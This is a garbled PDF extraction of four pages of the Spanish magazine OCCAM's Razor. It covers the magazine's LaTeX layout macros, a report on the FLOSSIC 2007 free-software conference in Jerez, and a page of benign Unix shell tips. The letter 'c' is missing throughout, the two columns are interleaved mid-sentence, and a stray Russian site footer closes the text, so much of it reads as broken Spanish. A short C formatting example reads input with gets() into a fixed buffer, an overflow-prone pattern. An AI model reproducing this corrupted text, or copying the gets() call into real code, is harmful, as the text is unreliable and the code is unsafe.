{\psset{line olor=bla k,linestyle=dotted} in luye en un ontexto multi ols, espe i ando que
\psline(-17,0)} queremos utilizar dos olumnas. Por ada página es
\ olorbox{#1}{ ne esario terminar el ontexto, insertar el texto de la
\begin{minipage}{#3\linewidth} se ión en la parte superior de la página e ini iar un
\ enter nuevo ontexto multi ols.
\text olor{#2}{
Para ha er esto un po o más llevadero hemos in luido
\textsf{\textbf{#4}}}
algunos omandos que nos ha en la vida más fá il.
\end{minipage}
}}\end{flushright}} Si la siguiente página del artí ulo no ontiene
ninguna gura espe ial, usaremos el omando:
\vspa e{4mm} ebOpage{ olor, tamaño, se ion}
}
Este omando termina el ontexto multi ols,
inserta la abe era de se ión e ini ia el nuevo
La primera línea de lara el omando de la forma habi- ontexto multi ols.
tual, nombre y número de parámetros (4 en este aso):
Si tenemos que insertar imágenes en la siguien-
olor de fondo, olor del texto, an ho del uadro y tex-
te página del artí ulo, utilizaremos los omandos
to.
Tras ini iar un ontexto flushright para justi ar
eOpage y bOpage { olor, tamaño, se ion}.
a la dere ha, nos en ontramos un nuevo omando Sí, ebOpage simplemente in luye estos dos o-

pstri ks, el ual se responsable de dibujar la línea de mandos de forma onse utiva.

puntos superior. Observad una vez más omo el orden


Dentro del ontexto multi ols hay dos omandos de
de los omandos es importante. Primero dibujamos la
interés que usamos de vez en uando para ha er li-
línea y luego, por en ima, el uadro que ontiene el
granas.
nombre de la se ión..
El primero es olumnbreak, que nos permite forzar
El texto de la se ión se in luye, en primer lugar en
que el texto que sigue a ontinua ión pase a la si-
una olorbox, para poder ambiar el olor de fondo,
guiente olumna. El segundo es ragged olumns, que
y posteriormente en un ontexto minipage, para per-
indi a al entorno multi ols que no ajuste el tamaño
mitir el ontrol del tamaño de la aja y el manejo de
de las dos olumnas para que sean iguales.
textos largos.

ABSTRACTS

Se han denido varios omandos Nos queda por omentar algunos de los elementos que
apare en en los distintos artí ulos, tales omo los abs-
para fa ilitar la rea ión de abe- tra ts o introdu iones, al prin ipio de ada uno de
eras ellos y los listados y uadros que iertos artí ulos in-
luyen.
Los abstra ts se in luyen dentro de una olorbox que,
Los omandos mtitle y msubtitle, simplemente nos a su vez, in luye un entorno minipage en el que el
permiten ambiar el tamaño y olor del título y el primer ará ter se re-es ala utilizando un omando
subtítulo respe tivamente. resizebox. Es ne esario in luir el texto en un en-
torno minipage para poder ajustar la aja de olor
COMPONIENDO EL ARTÍCULO a la olumna.

Preparar el uerpo del artí ulo es lo que resulta más Si omprobáis las fuentes, veréis que la mayoría de es-

pesado, puesto que es ne esario partirlo en páginas de tas introdu iones in luyen todos estos omandos al

forma manual por dos razones fundamentales: prin ipio de ada artí ulo.
En el  hero portada.tex se in luye un omando para
la primera es que queremos insertar el título de generar estas introdu iones en un solo paso. Veámos-
la se ión en ada página. lo:

OCCAM's Razor | 36
MAKING OF

% Crea el uadro de introdu ión al prin ipio omando lstset el que nos permite ongurar omo
% de ada artí ulo se visualizará nuestro programa en el do umento nal.
\new ommand{\intro}[3℄{ En este ejemplo, el omando lstset, ongura el en-
\ olorbox{#1}{ torno para:
\begin{minipage}{.9\linewidth}
\vspa e{2mm} Utilizar el lenguaje C.
{{\resizebox{!}{1.0 m}{#2}}{#3}}
Dibujar las líneas de arriba ([t℄op) y de abajo
\vspa e{1mm}
([b℄ottom) del uadro.
\end{minipage}
} Introdu ir una separa ión de 5 puntos entre el
\vspa e{4mm} uadro y el texto.
}
Utilizar el tamaño de fuente small para el texto
dentro del entorno.
Como se puede observar en este fragmento de ódigo,
el omando espera re ibir tres parámetros. El prime-
ro es el olor de fondo que se pasa a olorbox omo Tanto la portada omo el suma-
#1. El segundo parámetro es el primer ará ter de la
introdu ión, el ual, apare e on un tamaño mayor.
rio son imágenes generadas on
Finalmente, omo ter er parámetro pasaremos el resto GIMP 
del texto de la introdu ión.
Podéis ver omo utilizar este omando, por ejemplo,
Este paquete dispone de una do umenta ión bastante
en el  hero distros.tex en las fuentes del número 1
buena en la que se des riben todas las op iones que
de nuestra revista o en ualquiera de los artí ulos del
propor iona. Una de las más interesantes es la exi-
número 2.
bilidad que propor iona para la numera ión de líneas.
Eso ya lo dejamos para que los más uriosos se entre-
\intro{intro olor}{Q}{ué te pare ería ...}
tengan.

PORTADA Y SUMARIO
LISTADOS
Los últimos elementos que nos quedan por omentar
Varios artí ulos in luyen ódigo fuente en algún len- son la portada y el sumario de la revista. En general,
guaje de programa ión. En general, este ódigo lo po- estos dos elementos deben resultar atra tivos a la vis-
demos introdu ir dentro de un entorno verbatim que AT X, aunque posible,
ta y su omposi ión utilizando L E
onserve el indentado y los ara teres espe iales que requiere demasiado trabajo.
suelen apare er en los programas. Por esa razón, ambos elementos se generan omo imá-
Sin embargo, siempre que sea posible, utilizamos genes readas on la herramienta The GIMP que es
el paquete listing, que nos propor iona un entorno una auténti a maravilla.
lstlisting para ha er un pretty-printing de un
fragmento de ódigo. ZONA GEEK
Sí, hasta para el pro eso de la genera ión del pdf nal
 El paquete listing nos permite de la revista podemos ser un po o raritos. Lo pri-

formatear ódigo fuente. mero que podéis observar es que tanto el pdf omo el
posts ript nales de la revista se generan on la herra-
mienta make... la misma que utilizamos para ompilar
El paquete listings ofre e un ámplio abani o de posi- nuestros programas.
bilidades y, sobre todo, es apaz de manejar un gran Lo segundo es que, la fe de erratas o in luso, la tradu -
número de lenguajes de programa ión. Veámos un par ión de la revista a otros idiomas se pueden distribuir
de ejemplos extraídos del  hero murapido.tex. omo par hes :). Sí par hes omo los que apli amos al
kernel o a ualquier paquete de software... Mola!.
\lstset{language=C,frame=tb,framesep=5pt, Por ierto, que ya está disponible, en nuestra web, el
basi style=\small} par he on la Fé de Erratas del número 1 ;).
\begin{lstlisting}
#in lude <stdio.h>
ESTO ES TODO
int main() { Bueno, más o menos esto es todo lo que hay que saber
har buffer[1024℄; para modi ar O am's Razor o para rear tu pro-
gets (buffer); pia publi a ión LaTeX. Como habréis omprobado el
printf ("%s", buffer); pro eso es bastante sen illo, pero un po o tedioso y
}
tiene sus osas buenas y sus osas no tan buenas.
\end{lstlisting}
Finalmente, nos gustaría saber de ualquier proye to
que llevéis a abo utilizando lo que aquí hemos onta-
Como podéis observar, el ódigo simplemente se in- do. Ya sabéis, Uno se alegra de ser útil ;)
trodu e en un entorno lstlistings sin más. Es el

37| OCCAM's Razor


EVENTOS

FLOSSIC. FLOSS International Conferen e


Congreso Cientí o Interna ional de Software Libre en la UCA
por Organiza ión FLOSSIC

profesional, super omputa ión o inteligen ia arti ial.

O am's Razor ha parti ipado omo medio de


omuni a ión olaborador en el FLOSSIC de este
Entre las ponen ias desta ó "Impa t of Free/Libre or
Open Sour e Software (FLOSS) on the European ICT
se tor", presentada por Rüdiger Glott, de la Universidad
año. Aquí tenéis un pequeño resumen sobre omo UNU-Merit. En ella se presentaron las on lusiones de
fue todo. Una ini iativa estupenda que auna la pro- un informe realizado re ientemente para la Unión Eu-
mo ión de la ien ia y el mundo del software libre. ropea en el que se muestran las ventajas e onómi as y
ompetitivas que aporta el uso y desarrollo de software
Durante los pasados días 7, 8 y 9 de marzo se e- libre en las empresas TIC de la Unión Europea, así o-
lebró en la Fa ultad de Cien ias So iales y de la mo los efe tos negativos que provo aría la adop ión de
Comuni a ión del Campus de Jerez el primer Con- patentes de software o formatos de alma enamiento de
greso Cientí o de Software Libre (FLOSSIC 2007 informa ión errados.
http://softwarelibre.u a.es/ ), organizado por la O- Todas las ponen ias quedaron reejadas en el libro de a -
ina de Software Libre de la Universidad de Cádiz y el tas del ongreso, publi ado ( omo no podía ser de otra
grupo de investiga ión Mejora del Pro eso Software y forma) on una li en ia libre que permite su opia y dis-
Métodos Formales y el Departamento de Lenguajes y tribu ión gratuita. Este libro se repartió entre todos los
Sistemas Informáti os on la olabora ión de la Es uela asistentes dentro de un CD re opilatorio de do umen-
de Nego ios de Jerez. Este ongreso ha na ido on la ta ión libre que in luye más de 200 libros, manuales y
vo a ión de promover la difusión de los avan es ientí- ursos sobre sistemas libre y que se puede soli itar gra-
 os referentes al uso del software libre, y se organizará tuitamente en la O ina de Software Libre de la Univer-
anualmente en distintas universidades. sidad de Cádiz o des argar desde http://ossi .loba.es
El objetivo de este ongreso es ser un mar o de en uen- La organiza ión del ongreso quiso agrade er la ayuda
tro para las prin ipales ini iativas rela ionadas on los prestada por sus patro inadores ORO: Consejería de In-
FLOSS, in idiendo espe ialmente en aquellas rela iona- nova ión, Cien ia y Empresa de la Junta de Andalu ía,
das on la Universidad: edu a ión, te nología e investi- Sadiel y HP, los patro inadores A tiva Sistemas y Ya-
ga ión. o Sistemas, y las entidades olaboradoras: Fa ultad de
El ongreso fue un éxito de asisten ia, on más de 30 Cien ias So iales y de la Comuni a ión, Consejo So ial
ponentes de varios países y más de 100 asistentes, in lu- y los Vi erre torado de Alumnos, de Extensión Universi-
yendo gran antidad de alumnos de estudios té ni os de taria y de Investiga ión, Desarrollo Te nológi o e Inno-
informáti a, que asistieron a omuni a iones de temas va ión de la Universidad de Cádiz así omo la empresa
tan diversos omo el e-learning, a esibilidad, tradu - Loba Solu iones Informáti as y todos los miembros del
ión automáti a, desarrollo de software, modelado 3D omité de organiza ión.

OCCAM's Razor | 38
TRUCOS

Con un par... de líneas


Chuletillas para ha er osas mú rápido
por Tamariz el de la Perdíz

CAMBIARSE AL DIRECTORIO HOME omandos... omo podemos imprimir dos páginas en


una?. Pues usando alguno de estos omandos
Aunque esto sea bastante tonto, pare e que hay mu ha
gente que no ono e las distintos atajos para a eder
o amrazor $ a2ps -2 --medium=A4 do 1.ps
a su dire torio HOME. Aquí van las más omunes: o amrazor $ a2ps -2 --medium=A4 do 1.ps -o output.ps
o amrazor $ pdfnup -nup 2 do 1.pdf
o amrazor # d o amrazor $ psnup -nup 2 do 1.ps
o amrazor # d $HOME
o amrazor # d ~
Como os podéis imaginar los omandos pdfnup y
psnup son espe í os para manejar  heros pdf y pos-
De espe ial interés es la última op ión que nos permi-
ts ript. El omando a2ps es mu ho más versátil per-
te ambiarnos de forma rápida al dire torio HOME de
mitiendo manejar también  heros de texto.
ualquier otro usuario del sistema, simplemente aña-
Cada uno de ellos tiene un montón de op iones, así
diendo el nombre de usuario. Y por supuesto podemos
que no os dejéis de onsultar las páginas del manual
a eder a ualquier subdire torio bajo HOME.
de ada uno de ellos.

o amrazor # d ~o ams
o amrazor # d ~pepe
o amrazor # d ~/download
o amrazor # d ~o ams/download DESCARGANDO PÁGINAS COMO FI-
CHEROS DE TEXTO
En o asiones resulta interesante poder des argar pági-
COMPILANDO EN UN CORE DUO nas web desde la línea de omandos omo texto plano.

La utilidad make omo la mayoría de las disponibles en Esto permite, por ejemplo, pro esar el ontenido de la

ualquier sistema UNIX tienen un montón de op io- página on un s ript, para extraer la informa ión que

nes, en general, no muy ono idas. A parte del infame nos interese de forma sen illa.

-f, la op ión -j nos permite ini iar varios pro esos para
o amsrazor $ lynx -dump \
eje utar de forma paralela las reglas del Makefile. > http://webs.uvigo.es/o ams-razor > o ams.txt
Aquí tenéis un pequeño ejemplo on sus tiempos de
o amsrazor $ elinks -dump -dump-width 150 \
eje u ión en un Intel Core Duo. > http://webs.uvigo.es/o ams-razor > o ams.txt

o amrazor $ time make


real 0m45.182s Para los que no los onoz áis, lynx y elinks son dos
user 0m31.326s navegadores en modo texto. El segundo es espe ial-
sys 0m12.801s
mente interesante puesto que soporta tablas y frames,
o amerazor $ time make -j 2
real 0m27.043s on lo que permite visualizar de forma orre ta un
user 0m27.314s mayor número de sitios web.
sys 0m11.973s
o amrazor $ time make -j 3
real 0m26.148s
user 0m27.770s CONEXIONES ACTIVAS EN TU SISTE-
sys 0m11.769s
o amrazor $ time make -j 4 MA
real 0m27.642s
Podemos ono er las onexiones a tivas en nuestro sis-
user 0m28.298s
sys 0m11.689s tema en ualquier momento, utilizando el omando
netstat.

Como podéis observar, al lanzar dos pro esos en pa-


o amsrazor $ netstat -tuanp
ralelo se observa una sustan ial mejora, pero que no
mejora al aumentar el número de pro esos.

Envía tus tru os


IMPRIMIENDO DOS PÁGINA EN UNO
Puedes enviarnos esos tru os que usas a diario para
Si dispones de un ómodo entorno grá o para on- ompartirlos on el resto de le tores a la dire ión:
gurar la impresión, esto no tiene mu ho interés, pero
o ams-razoruvigo.es
en el aso de que solo dispongamos de una línea de

39| OCCAM's Razor

Вам также может понравиться